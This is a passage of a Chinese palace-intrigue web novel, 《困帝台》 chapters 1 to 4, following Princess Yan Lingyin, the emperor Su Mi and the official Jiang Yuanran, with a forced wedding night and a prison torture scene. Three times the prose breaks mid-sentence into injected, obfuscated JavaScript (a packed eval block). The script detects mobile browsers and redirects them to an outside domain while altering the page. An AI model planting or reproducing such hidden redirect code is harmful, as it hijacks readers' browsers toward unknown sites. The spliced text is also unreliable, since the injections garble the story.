《困帝台》 1. 负雪 羲永元年,宛京落了入冬以来的第一场雪。雪兆丰年,但京郊的地却荒了一片又一片,原本种着宿麦的田里如今滚着白骨,死者相藉,无人收掩。 民户十室空了九室,破败的屋宇少了人气,显得格外冷清。地冻天寒,在这样的天气里,身子稍弱些便会被冻伤手脚,甚至被冻去性命。 而景明殿中炭火烧得正旺,熏笼里燃着香粉,暖意融融扑面,将偌大的屋子烘得尽室如春。晏泠音就坐在铺了大红锦被的床边,阖着眼,就像睡着了似的。 不知过了多久,她才微偏了头,朝侍立在侧的青荷淡声道:“下去吧。” 她极少穿这种艳色的衣裳,也极少化这样庄重的浓妆。繁丽的金饰层层叠叠,缀在她如云的乌发间,将她整个人也衬得灿若云霞。脂粉盖住了她苍白的面容,看着气色极好,甚至还染出了些喜庆的味道。 可青荷却无端觉得惶然。她张了几次口,那句“娘娘”依旧没能说出来。 “下去吧。” 仍然是不紧不慢的口吻,只略微加重了语气。青荷听得心里发酸,再也忍耐不住,一咬牙扑通一声跪在了她的面前。 “娘……娘娘!”她仰脸望向晏泠音,声音发颤,眼圈也早已红了,“他……陛下他不会放过您的,与其在这里受辱,不如冒险一搏,十二卫皆忠于娘娘,只要您下令,即便是死……” “青荷。” 青荷一怔,随即感到一只柔软的手覆上了自己的手背,轻捏了一下,似在提醒什么。她的心倏地往下一沉,跟着又听到了晏泠音低而微哑的声音:“你是我在宫中最后一个亲人了。” 杂着碳火燃烧的噼啪声,那句话轻得像叹息:“不要说这些傻话。” 下一秒,她便被一股大力带得站起身来,又踉跄着退开两步。再抬头时,她发现晏泠音在笑,笑得唇角扬起,眉眼弯弯:“既然说视我如亲姊妹,今日我大婚,姊姊不说恭喜,怎么反倒哭了?” 她说这话时并未压低声音,但话音落地许久,周围仍是一片寂静。在那样诡异的沉默里,青荷忽然打了个寒噤。她如有所感,近乎僵硬地转过身去,隔着重重幔帐望见了一道身影。那人穿着和晏泠音一样的艳红衣裳,斜斜地倚在内殿的门边。他身形修长,高而清瘦,因为距离太远,青荷看不清他的神情,但她知道他也在笑,是那种漫不经心的、半真半假的笑。 他的目光一刻也没有离开过晏泠音。 青荷不记得自己是如何走出景明殿的。按理她应当在外殿守夜,可拨开幔帐走出去时,已有一乘软轿在门前等着她。立在轿旁的是个陌生的侍卫,腰侧束着剑,利落地做了个手势请她上轿。 这乘软轿会被送去哪里,她无从知晓。她只是在登轿前又一次回头望去,看到年轻的帝王立在摇曳的红烛旁,微俯了身,挡住了晏泠音。 随后,那丛烛火最后跃动了一下,便无声地熄灭了。 * 昏暗的光线里,苏觅和晏泠音一立一坐,就那样安静地对视了一阵。 “没什么想问我的?” 即便坐上了帝位,他在她面前仍然以我自称。晏泠音唇边浮起一抹自嘲的笑,她偏了头似在思索,半晌才道:“妾没什么要问的。” 苏觅皱了下眉。 “那个宫女,你当她是姊姊?” “是。”晏泠音淡声道,“陛下知道,她若是死了,妾绝不独活。” 嗒的一声,苏觅朝前走了一步,声音也轻轻柔柔地飘了过来:“为什么叫我陛下?” 这话问得好笑。晏泠音微眯了眼看他:“您是君主,天下人都称您陛下。” “阿音和他们不一样。” 哪里不一样? 只要他一个转念,此时的她就会和那些因战乱而流离的百姓一样,曝尸于荒野。 厌倦如潮水般缓慢涌上,晏泠音垂下了眼。这场荒谬的封后大典礼节繁重而琐屑,她今日勉力支撑到现在,已是疲累至极,没有心思再去陪面前的人玩文字游戏。她拢了下耳边散落的发,闲谈般随意开口:“这么一想,妾倒真的有事要问陛下。” “何事?” “江大人还好吗?” 这句话收到了它的效果。苏觅那双线条柔和的眼睛眨了一下,眼尾微扬,眸中浮起了一层意味不明的光。 此后无数次在朝堂上,臣子们和这位喜怒无常的帝王一同议事时,都会对这个微小的动作极其敏感。他们知道苏觅心思深沉,下手狠辣,偏偏却十分爱笑,那种笑容看在旁人眼里,是艳美无俦,风流绝代,可落到他们眼中时,却能惊得他们双膝发软,不由自主地伏地跪下。 而当他露出这种似笑非笑,甚至带了些诧异和困惑的表情时,他们就知道,有人要遭大难了。 那是真正风雨欲来的怒气。 咚的一声,晏泠音被突然靠近的苏觅压倒在榻上。床榻极大极宽,被褥厚实而柔软,散着浓郁的沉香气。她并未感到疼痛,只轻皱了下眉,仰面对上了苏觅的眼。男子正垂了眸看她,眼睛一眨不眨,细密的长睫在他脸上投下深暗的影,让那张过于精致的脸显得更加苍白。 他的语气里少了平日懒散的、带着调笑的腔调。 “阿音是故意的吗?” 苏觅的眸子暗沉如冰冻的长夜。他说得很轻,像是怕惊扰了谁,一面说着,一面伸了手去理晏泠音散在身下的发,一缕一缕地,将它们细细捋匀:“你,又在筹划些什么?” 他的手指很凉,沾着殿外的风雪气。晏泠音知道,每到冬天他的病情便会加剧,遍体生寒,几乎离不开碳盆和手炉。她曾给他绣过一只小巧的布袋,正好能将手炉装进去,如此,炉中的热气便散得没那么快,他捧着它暖手时也不会被烫伤。 那时苏觅来见她前,都会先捧着手炉暖上许久。他总是带了笑,声音轻柔地说,臣的手凉,不敢妄牵殿下的手,但若是殿下需要,臣一直都在。 “妾不明白。” 不明白那样一个心细如发,处处为她考虑之人,为什么竟丝毫不懂她的心意。不明白他和她,何以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431883|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到如今这样的结局。 苏觅细长的手指停在了她的颈侧。有那么一瞬,晏泠音几乎能感觉到,下一秒它就会掐上她的脖颈,带来红肿的抓痕和难耐的窒息感,不死不休。 但它最终还是滑了下去,贴着她颈侧的肌肤,一点一点地摩挲过去,引起暧昧的痒意。 “阿音,你说过要嫁我的。”苏觅微俯了身,将温热的呼吸喷在她耳畔,“你说过要同我终身厮守,相伴到白头。” “妾不记得了。” 苏觅的身体陡然僵了一下,晏泠音继续说了下去,声音平静:“妾只记得陛下说过,如果妾留下,陛下便会保宛京无难无灾。” “妾已经履行了承诺,因而想同陛下确认一番,宛京的百姓安否?大梁的文武百官安否?妾的侄儿晏憺,妾的兄长江渊然,他们亦安在否?” 苏觅带着相当的耐心听她说完,跟着便慢慢笑了起来。 “兄长?”他咀嚼着这两个字,含笑看向晏泠音,那样好听的嗓音,说出的话却冷得像浸了寒冬的雪,“阿音,你何时多了一个江姓的兄长?” “你心里装了这么多人,却从来不肯为我留一点位置呢。” 他屈起拇指和食指,抬手卸了玉冠。他在来景明殿前已经换了礼服,连带着发冠和发簪也一并换过。那是他和晏泠音初见时束发所用,成色算不得极佳,但因为常年累月地戴着已磨出了包浆,裹着那层翠色,莹润而温和。 此时那只玉冠被他随手掷开,在大红的锦被里滚了两滚,陷进了暗香缭绕的柔软中。而他似是想到了什么,抬了眼去看晏泠音落在枕边的簪子。那是一只展翅欲飞的凤凰,花饰繁复,镂刻得极其精巧,却让他皱起了眉。 “阿音不是不喜金饰吗,为什么要用它。” 他如瀑的发随着低伏的肩一同倾泻下来,伴着他自语般的喃喃声:“阿音的玉簪呢?上面有阿音最喜欢的栀子,是我亲手雕的呢。” 晏泠音默然。 她那些结束严实、层叠繁复的衣衫正逐渐剥落,伴着窸窸窣窣的轻响。屋内炭火烧得很旺,她本来出了微汗,此时却在皮肤与空气相触的刺激下,一阵阵地发起冷来。 殿外落雪无声。她在这华美空寂的殿中枯坐了半日,已经辨不出时辰了,不知道雪下了多久,此时又有没有停。 她一向爱洁,本能地亲近洁净之物,从小到大每到冬日,都盼着落雪。她爱看冰冻的黎照湖覆上白絮,也爱看平时繁花迷眼的镜华园化为白茫茫一片。幼时还有些贪玩的心性,她总忍不住那份雀跃,瞒着母妃出去玩雪,等到双手冻得通红才依依不舍地回殿,领上好一顿数落。后来淑妃出了事,晏泠音也过了玩闹的年纪,只依旧爱雪,每到落雪的日子,就披了大氅立在窗前出神。对着那样漫无边际的白,好像森严的宫禁也骤然成了旷野。一切污秽都被掩在雪下,表面上看着,干净得就像另一个世界。 可直到今日她才知道,有些东西是雪也掩不住的。这一夜,于她还是太过漫长了,仿佛永远也走不到头。 2. 血栀 入夏之后,蝉声一日闹过一日。怡和殿因为地处僻远,殿外的花木也比别处茂盛许多,尤其是夜里,蝉声更听得分明。知道淑妃和公主喜静,宫人们闲来无事便去粘蝉儿玩,却不知怎地倒像是越捉越多,最后也慢慢失了兴致,任它去聒噪了。 晏泠音就是在这样的蝉声中醒来的。 天色未明,周围的一切都浸在沉沉的黑暗里。有微凉的风自外间吹入,卷起纱帘的一角,送来清浅的栀子香气。 “青荷?” 她喉间有些发渴,唤了声宫女的名字,却无人应答。青荷的耳力很好,今晚既是她守夜,没有听不见的道理。 栀子的花香越发浓烈,其中还杂着一丝诡异的咸腥。 晏泠音披衣下床。原应紧闭的殿门不知何时已经敞开,风便是从那里吹进来的。她莫名地有些不安,脚下也不自觉地快了起来,想要寻到香气的源头。 “青荷?玉染?” 转过一处拐角,她倏地停住了脚步。浓稠的雾气翻涌着裹住了她,阴湿而寒凉。面前便是她母妃的寝殿,门前两株栀子在风中沙沙作响,但枝叶间大瓣的白花,却都如血般妖异红艳。 血栀。这样的景象,晏泠音只见过一次。 她想开口呼喊,但更多的雾气涌入了她的口中,像一只无形的手阻住了她的声息。在越来越强烈的不安中,她忽觉脚下踩到了什么。停顿了片刻,她缓缓蹲下身去,捡起了那只小小的偶人。 湿热黏腻的血,正从偶人无神的眼中汩汩流出。 * “殿下昨晚没睡好么?” 晏泠音坐在妆镜前,眼下有淡淡的青黑:“这几天,外面一直闹得厉害。” 她似乎意有所指。青荷替她挽发的手一顿,随即叹了口气:“奴婢说句不该说的,怡和殿清净久了,就算外头有些风言风语,也不该进殿下的耳朵。算算日子,殿下的生辰就快到了,这种时候,需想得开些才是。” 她从小同晏泠音一道长大,名为主仆,实有姊妹之情。这些话固然有些冒犯,却句句出自真心。她说完后没听到晏泠音的答复,悄然抬眸觑了眼镜子,却发现晏泠音正单手支颐,弯了眉眼笑吟吟地看着她。 她的主子生就一双细长的柳叶眼,眼尾上挑,平日即便不笑也带了三分笑意。她肤色白,唇色也浅淡,乍见之下便如烟柳系秋水,美则美矣,却总是和人隔了一层,隐隐绰绰的看不分明。青荷少有被她这样定定地注视过,一时脸都有点发红,不觉恼道:“殿下总是笑,奴婢和您说正经事呢。” “是正经事,”晏泠音的嗓音也是清凌凌的,带了点高山融雪的凉意,只有在糅着笑的时候才显得温软些,不那么有距离,“我都明白,宽心。” 真那么容易宽心,殿下也不至于睡不好觉了。青荷叹了口气,不觉又替主子不平起来。分明是金枝玉叶的身份,天上有地上无的容貌,还正当这么好的年纪,若不是受当年之事的牵连,这位殿下何至于困在这座死气沉沉的宫殿里,又何至于年纪轻轻便要嫁去边地…… “喵嗷!” 青荷冷不丁被什么东西撞了下腿,思绪就这样断了。她扶着椅背低头看去,不觉苦笑:“都是给殿下惯的,大清早就来讨人嫌。” 圆滚滚的长毛猫闻言瞥了她一眼,喉咙里呜噜呜噜地闷了两声,颇有些不满。它的腿太短,毛又浓密得惊人,走起路来全然不见腿动,就像只滚来滚去的雪团。呜噜间它已经蹭到了晏泠音的腿边,又一跃便翻上了她的膝头,展现出和它那小短腿极不相称的敏捷。 “哎,别弄脏了殿下的衣裳……”青荷一句话还没说完,那猫已踩着碎步转了个圈,舒舒服服地在晏泠音膝上蜷成了一团,看得青荷连连皱眉。 她是真的不喜这只猫。宫内本就视猫为不祥之物,自太祖以来都禁止豢养。直到当年西域进贡了一只奇猫,陛下转头就赐给了怡和殿。那时淑妃娘娘正得盛宠,宫内无匹,也没人敢说什么闲话,可事到如今,怡和殿早都衰落了,殿下却还像没事人一样,每日喂猫逗猫的,让人看了着实不是滋味。 “喂过食了没有?”晏泠音替它顺着毛,似是想起什么,转头嘱咐青荷,“我今日回来得会晚些,母妃那边若是问起,就说阁中事务繁忙,不必等我用晚膳了。” 青荷下意识“哎”了一声,随即反应过来,疑惑道:“殿下又要入阁理书?今日不是休沐吗?” “我身上可没挂着什么官衔,哪来的休沐。”晏泠音笑了笑,“左右也无事,不如多去翻翻书,反觉心里舒坦。” ……是她忘了。青荷看着晏泠音沉静的面容,有一瞬恍惚。她的主子说得含蓄,但她怎会不知呢。 待过了生辰,出嫁之事便迫在眉睫,再要如现下这般畅快地读书,只怕是不能了。 她咬了咬唇,刚想说什么,晏泠音已站起了身。白猫窝在她怀中,似是感觉到她要走,又颇为不舍地蹭了蹭。晏泠音垂眸看它,一绺碎发正好从她的耳际垂下,拂到猫的鼻尖,惹得它连打了好几个喷嚏。 “哎你这猫,殿下的衣裳……”青荷又是好气又是好笑,伸手将白猫从晏泠音怀中接过。晏泠音空出手来整了整袍袖,冲她点了点头:“玉染在外面,我先走了。” “殿下……”青荷下意识开口。她想说今天这个日子,娘娘怕会身体不适,应当是盼您陪着的。也想说,当年之事不是您的错,您别太苛责自己。 这些话在口中滚了几滚,终于还是咽了下去。她最后只轻声道:“殿下,莫要太劳累,早去早归。” * 今日是一旬一至的休沐,宫道上没什么人,偶尔才会碰上几个值守的小官,大多也都懒洋洋的耷拉着眼。江渊然不喜客套,即便遇上了也只简单行个礼,足下不停。他心中有事,脸色也冷冷的,叫人看了,在这暑天平白生出一股寒气来。 “江大人好生勤力,”看守北门的侍从接了他的勘合,没怎么细看又递了回去,笑道,“大热天的还亲自跑一趟。您要什么,写个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431884|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条,挑个人来帮您取便是,也给您省些事。” 江渊然是圣上面前的大红人,年纪轻轻已当上了大理寺少卿,近来又被派了个大案,平步青云几乎指日可待。侍从有心巴结,话也说得好听,但对方似乎并不领情。“有劳。”他将勘合放回袖中,只略点了点头,便大步往门内走去。 这是北门边的小道,他最熟悉的一条路。往东是他的老师杜慎曾执教的东云台,往西则是皇帝下朝后处理政事的雍平殿,而若直走下去,就是宫内为帝王藏书的秘书阁。 他还知道,如果绕过东云台继续往东,一路无阻的话,便能通到后妃的居所,其中一座就是怡和殿。 转过一处街角,他的脚步才慢了下来。远远地已能看见秘书阁的重层飞檐,檐角悬着一只铜制的铃铛,每有风过,便叮叮当当地传出清脆的声响。 铃铛下系着一纸素笺,或许是因为避在檐下深处,经了这些年的日晒风吹,竟也还未损坏,只微微泛了黄,显出是有些年代的了。笺上的字迹流丽秀美,似是女子手笔,只是经风雨剥蚀,缺了几处,有些模糊不清。 它其实并没什么特别,但江渊然却停了步,不知不觉便看了许久。 沙沙的脚步声自身后响起,他怔了一下,身子不自觉地绷紧。通往秘书阁的只有这条狭长的宫道,两旁都是高耸的楼阁,即便在酷热的夏日也透不了多少阳光,因而总是阴寒的。道窄,回音便也格外明显,背后的脚步声不急不缓,却在四起的回声里悠悠绕绕,格外空灵。 沙沙,沙沙,那人越走越近,江渊然垂在身侧的手也猛地攥紧。恰好日光斜打过来,照在铜铃上,晃了下他的眼睛。 左右是避不过了。 下一秒,他已转过身来,拱手作揖,恭恭敬敬地一躬到地。而他的眼睛始终没有看向来人,好像仅凭那阵脚步声,已足够他辨明对方的身份。 “臣江渊然,见过惠和公主。” 风过叶动,有簌簌之声,似数人模糊低语,填补了两人间沉默的间隙。无端地,那一刻江渊然忽然记起,在很久之前,他也曾听过这样的风声。 那日天朗气清,是个和今日一样晴好的早晨。杜慎临时被朝事耽搁了,缺了讲学,整个东云台里闹成一团。他不爱热闹,拎了书躲去花木扶疏的后院,倚坐在假山石边静静翻看。那儿有一汪极清的池水,水中有红艳艳的游鱼,时不时地撅出水面,一甩尾巴,又啪的一声钻回池底。 他看书看得出神,没注意天光已渐暗,黑云在头顶积聚起来,眼见着就要降下初夏的急雨。 直至一道人影落在了他的身侧。 簌簌之声倏然涌入他的耳朵,天地间静得出奇,仿佛一片无垠的草野上只留有他们两人。他在书斋里沉寂太久,这于他还是第一次,这么专注却又放松地去听风过之音。 而来人沉默片刻,微微俯下身,轻声唤他—— “回兄。” 江渊然抬眸,猝不及防地,撞进了晏泠音深静的眼。 3. 初见 这是时隔三年的重逢。 江渊然心中出现的第一个念头,是她似乎瘦了一点。 容貌没有太大的改变,依旧是如烟如雾的眉,细长的眼。个子拔高了些,更显出少女亭亭玉立的风姿。她仍然是一身白衣素裙,用玉簪将长发高高挽起,除了腰间系着的一只玉坠外,浑身上下再无任何佩饰。 太素淡了,素淡得不像一国公主。可他知道她历来如此,喜静喜洁,几乎没见她穿过其他色的衣裳。 唯一一次例外是在初见。 承观十一年,三月。时为太傅的杜慎被召入宫,接了皇帝旨意,在东云台设学官,为皇子和贵族公子们开筵讲,授道业。他的父亲替他递了入宫的帖子,动用重重关系将他安置进了东云台,并谆谆告诫他,在学官内要多结交些青年才俊,才好为日后的仕途铺道。 他是厌烦这些带了心机的刻意安排的,但他一向守礼,何况那人还是他的父亲。因而他只是默不作声地听完,随后应了一句是。 三月初六开讲,他到得早,踏进东云台时门内还是一片寂静。他原以为台中无人,可抬眸的瞬间就被那道身影攫去了目光。 东云台的前院有一株巨大的杏树,此时正值花期,缀了一树泛粉的白。风过时有碎花零落,递送来浅淡的香。 那人立在杏花疏影里,微仰了脸看枝头的白杏。春日和暖的光透过细密的枝叶落在她的脸上,映出一片斑驳的光影。她轻眨了下眼睫,那片金色便从长睫上短暂滑落,似一滴清透的泪。 杏花如雪,她一身粉衣隐在雪中,飘飘摇摇的,像只蹁跹的蝶。 大梁民间有个不成文的说法,就关于这春日的花事。桃花烂漫妖艳,宜提亲,宜嫁娶。梅花风骨卓然,宜约赏,宜定情。而杏花色清浅,香疏淡,杏花树下难有如火般炽烈的情感,亦不便定下生死与共的契约,它只是清清静静地开,悄然无声地落,携着无人知晓的哀乐随风化雪,终至铺作陌上的尘。 但亦有人反驳,说杏花虽不争不闹,却未必无情。花心掩着的那点粉,正似少年羞怯的心性。因而杏花树下总有些隐秘的欣喜,压抑的愁绪,亦有惊鸿一瞥的初见,乃至一眼万年。 江渊然甚少听这些坊间流言,但当那个纤瘦的身影朝他转过脸来时,他的心跳似是停了一瞬。在那一瞬里,女孩清如流泉的嗓音响了起来:“你也是来听先生筵讲的?你叫什么名字?” 他开口应她,牙齿却磕了下嘴唇:“江渊然。” 她笑了。 “我姓闻,单名一个暄字,日后便是同门了,还望江兄多多指教。” 他颔首:“客气。” 在他的印象里,宛京并无闻姓的高门,这次筵讲也只收男弟子,不曾听说有谁将女儿送入了宫内。而他还未将这一切理清,女孩已取出一只发簪,三两下便将散落的发盘绕起来,梳成京中公子常见的凤尾头。 她冲他眨了下眼,指了指自己,又指了指他,跟着竖起食指放到唇边轻嘘了一声,说:“秘密。” 惠和公主以男子身份入了杜老门下,此后曾一度在京中传为美谈,而无人知道,他江渊然是最先知晓的那一个。他在门外守着她换了衣裳,此后那抹素色便再未从她身上下去过。 她在旁人面前始终掩饰得很好,守礼节,知进退,接人待物皆有分寸,且勤奋刻苦,埋首诗书数年如一日。他不是没有想过,如果没有当日的那场巧合,他和晏泠音是否还会相识,是否就会像她和东云台中芸芸学子那样,只有极浅的点头之交。 那样的话,或许他真的会如父亲所期望的那样,广结人脉,平平稳稳地步入仕途。 他也就不会对与自己有鸿沟天堑的大梁皇室,生出不该有的情思。 “回兄,”晏泠音没有等到他的回应,又轻唤了一声,“好久不见。” 江渊然骤然回神。 他怎么忘了,东云台早已荒废,那株杏树也在三年前就已枯死。他同晏泠音曾坐在旁边消磨光阴的池水已发臭干涸,几尾红鲤皆不知去向。 而他最敬爱的老师杜慎被夺职下狱,不到一月便惨死于囹圄。承观十六年春末,他作为杜慎最看重的学生之一,被另一个叫闻暄的学生指认,送入了牢狱。 * 咔嚓。 伴随着不知什么断裂的声音,凄厉的惨叫声响彻整个牢房。牢外的几只老鼠原本聚在角落吱吱叫着,此时被这声音激得一惊,仓皇地四散跑开。 那声音阴惨如鬼哭,实在不像人能发出来的,即便是用惯了刑的周大听了也不禁皱眉。他掐着那人的脖颈,粗暴地往他嘴里塞了一团破布,这才将他的嘶喊堵住。 牢房里安静了,只有那人痛极难忍,像濒死的鱼一样在地上翻腾滚动,啪啪有声。 “呼。”周大擦了擦额上的汗,长出了一口气。这种热死人不偿命的天气,他还要来这肮脏腥臭的牢房审人,心情本就不爽,奈何这人一介文官,看着体弱,受了许久的刑,愣是一个字都不说,惹得他更加烦躁起来。 “刘大人,”他朝牢房外喊了一声,“这人嘴硬得很,身上能断的骨头都给断了,还死撑着不吭声。再弄下去只怕人就没了,今天还要审吗?” 地上那人翻滚了一阵,此时已没了动静。周大觑了一眼,发现他已只见出气不见进气了。这吕绍好歹也是个大理寺的主簿,官虽小了点,却也是江渊然的直隶下属。他本无意去招惹那个冷面阎王,此时难免有点后怕起来。 叮的一声,似是茶盏被轻轻搁下。他听见牢房外传来了男子的轻笑:“刘大人的手下,倒是有副仁善心肠。” 那声音带着些病气,低哑微促,却又极轻极柔,哪怕同为男子,也听得他身子麻了半边。周大正愣神间,跟着便听到了刘敬的喝骂:“没用的东西,还不快滚出来!” 刘敬是方狱的主刑官,气焰大得很,寻常不会来这种腌臜地方。周大在他面前总是战战兢兢的,生怕一个不留神惹恼了这位大人。丢了性命还是小事,刘敬手里有上百种办法叫你生不如死。他喏喏应着,半刻不敢停留地从牢里退出来,一抬眼,却看见向来眼高于顶的刘敬正恭恭敬敬地垂手立着,微俯了身,附在一个人耳边说着什么。 “公子您看,这吕绍接下来……” 那种带了些刻意讨好的巴结语气听得他不觉愣神。更让他意外的是,听他说话的那男子不仅坐着,面前还摆了茶壶茶盏,盏中盛了飘着香气的清茶。他是个粗人,不懂那些光鲜精巧的玩意儿,但也知道这套茶具是刘敬的私藏物,平日别说拿来喝茶了,连赏玩都是小心翼翼的,生怕一不留神给碰了磕了。 这一下周大着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431885|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实有些摸不清情况了。他觑了眼去看那人,发现他矜贵得很,发冠用一根簪子束着,莹莹泛着光,像是玉。这样暑热的天气里,狗都得伸了舌头趴在地上喘气,牢里虽阴寒些,但周大也露了膀子,袒了胸腹,可那人不仅衣裳结束严实,外面还罩了件袍衫,系着领口的飘带,像是冷得厉害。 袍衫是玄色的,里面却透出极艳的红,在这阴惨的牢狱里显得格外扎眼。 “刘大人辛苦,”那道轻柔的嗓音又起,“若是问出了什么,着人来知会我一声就好。” 周大是个有经验的,看吕绍这样子,要么是他确实不知情,要么,就是他咬死了不愿透露半分,无论是哪一种情况,再审下去都未必能有结果,至于“问出”什么,无非是看上面想听到什么。 刘敬显然也明白这一点,他的腰伏得更低了,试探着道:“王爷那边的意思是?” “这吕主簿,过去不是杜尚书的学生么。” 周大还未反应过来,刘敬却是一点就通。他忙不迭地应声道:“确然,他也在东云台待过,还和江少卿是同门……”他似是又猛地想到什么,语气里多了点犹豫,“这桩案子是刑部和大理寺共审的,小人担心,江少卿那边会不太好交待。” “交待?”男子喉间滚了声笑,“大人是陛下钦定的主审之一,自然只归心陛下,何必向他交待?” “再者,”男子侧过脸去,掩袖咳了两声,这才不紧不慢地继续道,“他审便由他审,你还能拦着他不成?” 最后这句话只一点便收,刘敬定了下神才领会过来,还没开口,忽觉背后冰凉,竟已出了一身冷汗。他隶于刑部,平日里和大理寺没少公务往来,同江渊然也打过几次交道。有的案子彼此若能通个气,自然会方便许多,他不是没动过攀附的心思,只因那人出了名地不好说话,他试了两次未果,才不得不暂且将此事搁下。 如今看来,他当年还是太轻率了。江渊然飞得再高,再受皇帝器重,也不过是个没人撑腰的孤雁。得亏了他那副生人勿近的脾性,才不至于在遇上今天这种事时,反把他刘敬拉下水。 “是,是,”他立刻附和道,“江少卿也是为陛下做事,自然不会徇了私情,是小人多虑了。” 他望见男子面前那盏茶已没了热气,却仍是一口未动,好端端地摆在那儿,一面暗道这人嘴可真挑,一面赔着笑道:“这腌臜地方平日少有人来,我也没备着什么,公子若肯赏脸,我府上还有上好的茶水,这就备车……” 他抬眼朝周大使了个眼色。周大虽有些懵,到底还算机灵,应了一声便要往外走,可没走出两步,就听男子轻声开了口:“本就是我叨扰,不敢再劳动大人。今日不巧,还有些事要处理,先告辞了。” 他起身时,宽大的罩衫跟着扬起,将底下那抹艳红透得更加分明。方才他的脸半隐在阴影中,周大瞧得不真,此时才发现,男子的脸上戴着银质的面具,从眉峰一直盖到鼻尖,只留出清瘦的下颌与血色极淡的唇。他的皮肤极白,却不是王孙公子那种富态的白皙,而是透着长年累月在药罐里泡出来的病气,被狱中昏暗的光线一照,形同鬼魅。 向来被称为狱中恶鬼的周大心里颤了一下,不自觉打了个寒噤,又听到了男子带笑的轻柔嗓音。 “如此,我就在府中恭候大人佳音。” 4. 入阁 此时的宫道上,晏泠音正和江渊然无声对视。 “江大人说要入阁取书,却没带上陛下的手谕?”最终还是晏泠音先开了口。她微皱了眉,再次同江渊然确认道,“不小心忘在了署中?” 方才那人冷着脸道,宫禁重地,不宜以旧日名姓相称,她便从善如流地改了口。但当她问及来意,江渊然只说碰上个棘手案子,要查些旧书,却连一道准许入阁的谕令都没有。 这世上谁都能忘事,但不包括那个和她自幼相识、稳重如山的人。何况还是这样重要的事。 “秘书阁为天家藏书地,外臣若无诏令,擅入即死,大人可知?” 她凝视着江渊然的眼睛。三年未见,他竟似毫无变化,那双棱角凌厉的眸子里,从来不显任何波澜。 “臣知道。” 但在过去,在她面前,那池静水还是会时不时地,漾起些涟漪的。 晏泠音看着他微微偏过头去,恰好避开了她的目光,心中一痛。她无意识地攥紧了腰间那枚玉佩,轻声道:“江大人还在恨我吗?” 江渊然垂着眼,没有作答。 晏泠音往前一步,继续道:“我曾往江家去信,解释过……” “解释过,”江渊然忽然打断了她,声音在微微发颤,“殿下是和臣解释过,殿下是为了保护臣,殿下想让臣活下去,可当臣活着从那炼狱里出来的时候,却发现老师……走了。” 他的声音里压抑着巨大的悲愤,说出最后两个字时哑得几近无声。他深吸了一口气,才勉强继续道:“殿下待臣义重恩深,臣万死难报。可若殿下还念着昔日之情,就当今日没来过秘书阁,也没遇见过臣,放臣过去吧。” 晏泠音怔怔地望着他。 难怪。 难怪他从未回复过那些信。她固然写得晦涩了些,可如果是江渊然的话,没有看不懂的道理。 也难怪这三年他总在避她。几次宫道上遥遥望见,哪怕周遭并无旁人,哪怕她已在出声唤他……他还是会不声不响地转过身,往别处走去。 昔日无话不说的同窗,就这样做了三年的陌路人。 细密的疼痛如潮水般覆上她的心口。她并不怨他,正如她知道江渊然也并不真的恨她。往事已矣,他们都是无能为力的人,没什么好相互指责的。 她最难受的,是从他的话中听出了回护之意。 那个人,即便痛到极致,也还是将刀刃朝向自己。 “江大人……”晏泠音又朝前踏出一步,却见江渊然跟着便后撤一步,像是不想和她靠得太近。她又是一怔,随即叹了口气,“若大人执意如此,我也不好多说什么。但大人知道,我主秘书阁三年,虽无官衔,身上却担了干系。日后父皇如果发现此事,降下罪来,我是和大人同罪的。” “殿下将一切都推到臣身上便是。” “如何推呢?”她反问道,“说我不知情,说是大人擅自入阁盗了禁书?” 江渊然倏地抬眼看向她。 “凭大人的本事,要找寻常书册并不算难,特意入阁一趟,想要的定是极难得的本子。但大人或许不清楚阁中布置,外阁所藏书册市面上多有抄本流传,内阁中的才是不示人的孤品。而内阁常年落锁,钥匙在我手里。” “所以推不了的。”她不避不让,正面迎上他的目光,“若大人仍要入阁,我便同大人一起。” 江渊然沉默片刻,忽然抬步,竟是准备绕过她往宫门走。他这番放弃得太快,以至于晏泠音都愣了一下才反应过来。 “江恪回!”她拔高了声音,疾走几步跟到了他的身后,“究竟发生了什么,要你冒这样大的风险来取书?你不肯告诉我,是我晏泠音不值得你相信?” 那三个字是她下意识喊出来的,等意识到她说了什么,已来不及再往回收。自杜慎落难以来,他们两人都在刻意回避一些东西,回避同窗共读的日子,回避东云台中不知岁月长的数年光阴。那样的记忆太过美好,时至今日再度忆及,便不能不痛如蚀骨啮心。 可是偏偏有一个人,一面回避着过去,一面又把过往深深烙刻在身上。一切都能改换,但名字呢?朝中诸人皆知,江渊然字恪回,这是杜慎尚在东云台时,亲自赐给他的。 可晏泠音知道,那两个字不是杜慎题的。因为江渊然在狱中过了二十岁的生辰,根本没有机会受杜慎赐字。 